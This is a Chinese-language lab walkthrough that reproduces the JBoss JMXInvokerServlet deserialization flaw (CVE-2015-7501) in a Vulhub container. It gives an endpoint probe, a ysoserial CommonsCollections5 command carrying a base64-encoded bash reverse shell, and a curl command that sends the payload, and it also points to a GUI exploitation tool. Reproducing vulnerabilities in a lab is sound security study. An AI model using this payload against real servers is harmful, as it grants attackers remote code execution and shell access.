漏洞描述
这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。
影响范围
JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0
复现过程
这里使用6.1.0版本
1.1启动环境
docker-compose up -d
1.2漏洞探测
http://192.168.100.34:8080/invoker/JMXInvokerServlet
此漏洞存在于JBoss中 /invoker/JMXInvokerServlet 路径。访问若提示下载 JMXInvokerServlet,则可能存在漏洞。
1.3编写反弹shell的命令
我们使用bash来反弹shell,但由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,我们需要用进行一次编码。
(注意反弹的ip和端口)
编——码
序列化数据生成
使用ysoserial来复现生成序列化数据,由于Vulhub使用的Java版本较新,所以选择使用的gadget是CommonsCollections5:
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4zNC8yMjMzIDA+JjE=}|{base64,-d}|{bash,-i}" >exp.ser
执行了上面那条命令后,会生成我们的序列化数据
再把我们的生成的序列化数据,以二进制的方式发送,–data-binary(二进制方式)
curl http://192.168.100.34:8080/invoker/JMXInvokerServlet --data-binary @exp.ser
成功反弹
还有第二种方法,只需要3条命令就可以了
请看【vulhub】JBOSS 5.x/6.x 反序列化远程代码执行漏洞(CVE-2017-12149)复现
最后介绍一下直接使用工具吧
打开我们的 java反序列终极化工具.jar 工具,选择jboss,输入目标主机的链接,点击目标信息,获取信息。等五六秒的样子,如果能出来目标主机的信息,则说明目标主机存在漏洞。如果没漏洞,会直接提示不存在漏洞,我们等待他的响应即可。
参考文章
利用JBoss漏洞拿webshell方法
Jboss相关漏洞
JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)